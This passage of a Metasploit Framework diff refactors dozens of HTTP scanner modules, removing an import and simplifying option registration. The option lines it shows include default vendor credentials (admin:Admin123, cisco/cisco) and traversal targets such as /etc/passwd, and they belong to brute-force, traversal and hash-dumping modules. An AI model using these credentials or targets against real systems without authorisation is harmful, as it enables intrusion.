OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:123456', false]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb index f07ad9bb96..2fc374e9c3 100644 --- a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb +++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb index baa635fe7e..84bea102b8 100644 --- a/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb +++ b/modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The URI path to the web application', '/bitweaver/']), OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/blind_sql_query.rb b/modules/auxiliary/scanner/http/blind_sql_query.rb index 8ef7274949..d83f40dbb8 100644 --- a/modules/auxiliary/scanner/http/blind_sql_query.rb +++ b/modules/auxiliary/scanner/http/blind_sql_query.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('QUERY', [ false, "HTTP URI Query", '']), OptString.new('DATA', [ false, "HTTP Body Data", '']), OptString.new('COOKIE',[ false, "HTTP Cookies", '']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb index f484a2a75f..f44a3405ea 100644 --- a/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb +++ b/modules/auxiliary/scanner/http/bmc_trackit_passwd_reset.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']), OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']), OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', '']) - ], self.class) + ]) end def localuser diff --git a/modules/auxiliary/scanner/http/brute_dirs.rb b/modules/auxiliary/scanner/http/brute_dirs.rb index 56a518220e..4617dab796 100644 --- a/modules/auxiliary/scanner/http/brute_dirs.rb +++ b/modules/auxiliary/scanner/http/brute_dirs.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - -require 'msf/core' require 'enumerable' class MetasploitModule < Msf::Auxiliary @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('PATH', [ true, "The path to identify directories", '/']), OptString.new('FORMAT', [ true, "The expected directory format (a alpha, d digit, A upperalpha)", 'a,aa,aaa']) - ], self.class) + ]) register_advanced_options( [ @@ -40,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary ), OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]), OptInt.new('TestThreads', [ true, "Number of test threads", 25]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/buffalo_login.rb b/modules/auxiliary/scanner/http/buffalo_login.rb index aa5d50cf0a..897bdf4799 100644 --- a/modules/auxiliary/scanner/http/buffalo_login.rb +++ b/modules/auxiliary/scanner/http/buffalo_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/buffalo' @@ -27,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(80) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb b/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb index 35ceaffd4b..7d9bcf67e5 100644 --- a/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb +++ b/modules/auxiliary/scanner/http/caidao_bruteforce_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/caidao' @@ -36,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary 'The file that contains a list of of probable passwords.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') ]) - ], self.class) + ]) # caidao does not have an username, there's only password deregister_options('HttpUsername', 'HttpPassword', 'USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'DB_ALL_USERS') diff --git a/modules/auxiliary/scanner/http/canon_wireless.rb b/modules/auxiliary/scanner/http/canon_wireless.rb index 971536a302..4bc7a611a8 100644 --- a/modules/auxiliary/scanner/http/canon_wireless.rb +++ b/modules/auxiliary/scanner/http/canon_wireless.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'nokogiri' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb index 59ce33db5b..79b67593d7 100644 --- a/modules/auxiliary/scanner/http/cert.rb +++ b/modules/auxiliary/scanner/http/cert.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptRegexp.new('ISSUER', [ true, "Show a warning if the Issuer doesn't match this regex", '.*']), OptBool.new('SHOWALL', [ false, "Show all certificates (issuer,time) regardless of match", false]), - ], self.class) + ]) end # Fingerprint a single host diff --git a/modules/auxiliary/scanner/http/chef_webui_login.rb b/modules/auxiliary/scanner/http/chef_webui_login.rb index 57ab4e9aea..ae636eed45 100644 --- a/modules/auxiliary/scanner/http/chef_webui_login.rb +++ b/modules/auxiliary/scanner/http/chef_webui_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/chef_webui' require 'metasploit/framework/credential_collection' @@ -39,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [false, 'The username to specify for authentication', '']), OptString.new('PASSWORD', [false, 'The password to specify for authentication', '']), OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']), - ], self.class) + ]) end # diff --git a/modules/auxiliary/scanner/http/chromecast_webserver.rb b/modules/auxiliary/scanner/http/chromecast_webserver.rb index 35c1f1af47..24055d0339 100644 --- a/modules/auxiliary/scanner/http/chromecast_webserver.rb +++ b/modules/auxiliary/scanner/http/chromecast_webserver.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/chromecast_wifi.rb b/modules/auxiliary/scanner/http/chromecast_wifi.rb index 62ba8c6819..e7a9fdd1d0 100644 --- a/modules/auxiliary/scanner/http/chromecast_wifi.rb +++ b/modules/auxiliary/scanner/http/chromecast_wifi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb index 6dca2a3812..13ebafcb7b 100644 --- a/modules/auxiliary/scanner/http/cisco_asa_asdm.rb +++ b/modules/auxiliary/scanner/http/cisco_asa_asdm.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('USERNAME', [true, "A specific username to authenticate as", 'cisco']), OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'cisco']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/cisco_device_manager.rb b/modules/auxiliary/scanner/http/cisco_device_manager.rb index fe3ca21873..1f3fb39772 100644 --- a/modules/auxiliary/scanner/http/cisco_device_manager.rb +++ b/modules/auxiliary/scanner/http/cisco_device_manager.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/cisco_firepower_download.rb b/modules/auxiliary/scanner/http/cisco_firepower_download.rb index cbaf3db130..a400dc3b07 100644 --- a/modules/auxiliary/scanner/http/cisco_firepower_download.rb +++ b/modules/auxiliary/scanner/http/cisco_firepower_download.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']), OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']), OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/cisco_firepower_login.rb b/modules/auxiliary/scanner/http/cisco_firepower_login.rb index 0a3b52d4c8..a5395b60a5 100644 --- a/modules/auxiliary/scanner/http/cisco_firepower_login.rb +++ b/modules/auxiliary/scanner/http/cisco_firepower_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/cisco_firepower' require 'metasploit/framework/credential_collection' @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']), OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:Admin123', false]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb index f1442e9410..5dd607be1b 100644 --- a/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb +++ b/modules/auxiliary/scanner/http/cisco_ios_auth_bypass.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index 876c375003..61bb468ab4 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb index e3088404cd..4ab06ff540 100644 --- a/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/cisco_nac_manager_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -35,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']), OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb index ffc22783f2..9c05bbb3f4 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(443), OptString.new('GROUP', [false, "A specific VPN group to use", '']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb index 31fa2d011b..7d5b143c10 100644 --- a/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb +++ b/modules/auxiliary/scanner/http/cisco_ssl_vpn_priv_esc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/http/clansphere_traversal.rb b/modules/auxiliary/scanner/http/clansphere_traversal.rb index a6775f1cb7..3b72ac9656 100644 --- a/modules/auxiliary/scanner/http/clansphere_traversal.rb +++ b/modules/auxiliary/scanner/http/clansphere_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']), OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index 5fd71d7fbc..8ec01edd6d 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FILE', [ false, 'File to retrieve', '']), OptBool.new('FINGERPRINT', [true, 'Only fingerprint endpoints', false]) - ], self.class) + ]) end def fingerprint(response) diff --git a/modules/auxiliary/scanner/http/coldfusion_version.rb b/modules/auxiliary/scanner/http/coldfusion_version.rb index c24e425ffa..8e324676be 100644 --- a/modules/auxiliary/scanner/http/coldfusion_version.rb +++ b/modules/auxiliary/scanner/http/coldfusion_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/scanner/http/concrete5_member_list.rb b/modules/auxiliary/scanner/http/concrete5_member_list.rb index ca07b7c401..dd6611499b 100644 --- a/modules/auxiliary/scanner/http/concrete5_member_list.rb +++ b/modules/auxiliary/scanner/http/concrete5_member_list.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(80), OptString.new('URI', [false, 'URL of the Concrete5 root', '/']) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/copy_of_file.rb b/modules/auxiliary/scanner/http/copy_of_file.rb index e528752cf4..1fd22afb5f 100644 --- a/modules/auxiliary/scanner/http/copy_of_file.rb +++ b/modules/auxiliary/scanner/http/copy_of_file.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('PATH', [ true, "The path/file to identify copies", '/index.asp']) - ], self.class) + ]) register_advanced_options( [ @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary ] ), OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/crawler.rb b/modules/auxiliary/scanner/http/crawler.rb index b3854ca22b..56c86e8ad5 100644 --- a/modules/auxiliary/scanner/http/crawler.rb +++ b/modules/auxiliary/scanner/http/crawler.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/dell_idrac.rb b/modules/auxiliary/scanner/http/dell_idrac.rb index e36dab1cab..a0d3f46756 100644 --- a/modules/auxiliary/scanner/http/dell_idrac.rb +++ b/modules/auxiliary/scanner/http/dell_idrac.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -38,11 +36,11 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "idrac_default_pass.txt") ]), OptInt.new('RPORT', [true, "Default remote port", 443]) - ], self.class) + ]) register_advanced_options([ OptBool.new('SSL', [true, "Negotiate SSL connection", true]) - ], self.class) + ]) end def target_url diff --git a/modules/auxiliary/scanner/http/dir_listing.rb b/modules/auxiliary/scanner/http/dir_listing.rb index 609ab232b9..aac31ec4bb 100644 --- a/modules/auxiliary/scanner/http/dir_listing.rb +++ b/modules/auxiliary/scanner/http/dir_listing.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('PATH', [ true, "The path to identify directoy listing", '/']), - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/dir_scanner.rb b/modules/auxiliary/scanner/http/dir_scanner.rb index 2ac59737ac..72b27424fd 100644 --- a/modules/auxiliary/scanner/http/dir_scanner.rb +++ b/modules/auxiliary/scanner/http/dir_scanner.rb @@ -4,7 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' require 'thread' @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary ] ) - ], self.class) + ]) register_advanced_options( [ @@ -45,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]), OptInt.new('TestThreads', [ true, "Number of test threads", 25]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb index e5ef0dc135..1d3fee0860 100644 --- a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -48,12 +46,12 @@ class MetasploitModule < Msf::Auxiliary File.join(Msf::Config.data_directory, "wmap", "wmap_404s.txt") ] ) - ], self.class) + ]) register_advanced_options( [ OptBool.new('NoDetailMessages', [ false, "Do not display detailed test messages", true ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index cd5d8c4308..19e8c06350 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -5,8 +5,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ false, "Username for authentication (default: admin)","admin" ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), - ], self.class) + ]) end def target_url diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index b7076d1cd0..d8fad4653c 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ false, "Username for authentication (default: admin)","admin" ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), - ], self.class) + ]) deregister_options('HttpUsername', 'HttpPassword') end diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index 7bcd2d4518..d1705ae3d3 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ false, "Username for authentication (default: admin)","admin" ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), - ], self.class) + ]) deregister_options('HttpUsername', 'HttpPassword') end diff --git a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb index 5888615617..5cf6c265d9 100644 --- a/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb +++ b/modules/auxiliary/scanner/http/dlink_user_agent_backdoor.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb index 8ba8c83828..bc243efe2b 100644 --- a/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb +++ b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']), OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app OptInt.new('DEPTH', [true, 'The traversal depth', 4]) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 87cbbd1edf..f380749f1c 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]), OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb index 002c5af932..8c9e6aba89 100644 --- a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, "Drupal Path", "/"]) - ], self.class) + ]) end def base_uri diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 33cc413ff2..3104ebfef8 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary "File containing users and passwords", File.join(Msf::Config.data_directory, "wordlists", "cms400net_default_userpass.txt") ]) - ], self.class) + ]) # Set to false to prevent account lockouts - it will! deregister_options('BLANK_PASSWORDS') diff --git a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb index 410769edab..f3c1b6bd9c 100644 --- a/modules/auxiliary/scanner/http/elasticsearch_traversal.rb +++ b/modules/auxiliary/scanner/http/elasticsearch_traversal.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'json' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/http/enum_wayback.rb b/modules/auxiliary/scanner/http/enum_wayback.rb index 2e07b0c82c..32d222b507 100644 --- a/modules/auxiliary/scanner/http/enum_wayback.rb +++ b/modules/auxiliary/scanner/http/enum_wayback.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'net/http' class MetasploitModule < Msf::Auxiliary @@ -23,14 +22,14 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('DOMAIN', [ true, "Domain to request URLS for"]), OptString.new('OUTFILE', [ false, "Where to output the list for use"]) - ], self.class) + ]) register_advanced_options( [ OptString.new('PROXY', [ false, "Proxy server to route connection. :",nil]), OptString.new('PROXY_USER', [ false, "Proxy Server User",nil]), OptString.new('PROXY_PASS', [ false, "Proxy Server Password",nil]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb b/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb index 1029cf8bb2..32d984085c 100644 --- a/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb +++ b/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/http/epmp1000_dump_config.rb b/modules/auxiliary/scanner/http/epmp1000_dump_config.rb index ee0213263c..4901f9e73f 100644 --- a/modules/auxiliary/scanner/http/epmp1000_dump_config.rb +++ b/modules/auxiliary/scanner/http/epmp1000_dump_config.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb b/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb index c557eba4f9..b94744dab9 100644 --- a/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb +++ b/modules/auxiliary/scanner/http/epmp1000_dump_hashes.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/http/epmp1000_web_login.rb b/modules/auxiliary/scanner/http/epmp1000_web_login.rb index 8473d374f3..ebebef2cc4 100644 --- a/modules/auxiliary/scanner/http/epmp1000_web_login.rb +++ b/modules/auxiliary/scanner/http/epmp1000_web_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::AuthBrute diff --git a/modules/auxiliary/scanner/http/error_sql_injection.rb b/modules/auxiliary/scanner/http/error_sql_injection.rb index 126bc498a0..d47f3d2278 100644 --- a/modules/auxiliary/scanner/http/error_sql_injection.rb +++ b/modules/auxiliary/scanner/http/error_sql_injection.rb @@ -4,8 +4,6 @@ ## require 'rex/proto/http' -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -30,12 +28,12 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PATH', [ true, "The path/file to test SQL injection", '/default.aspx']), OptString.new('QUERY',[ 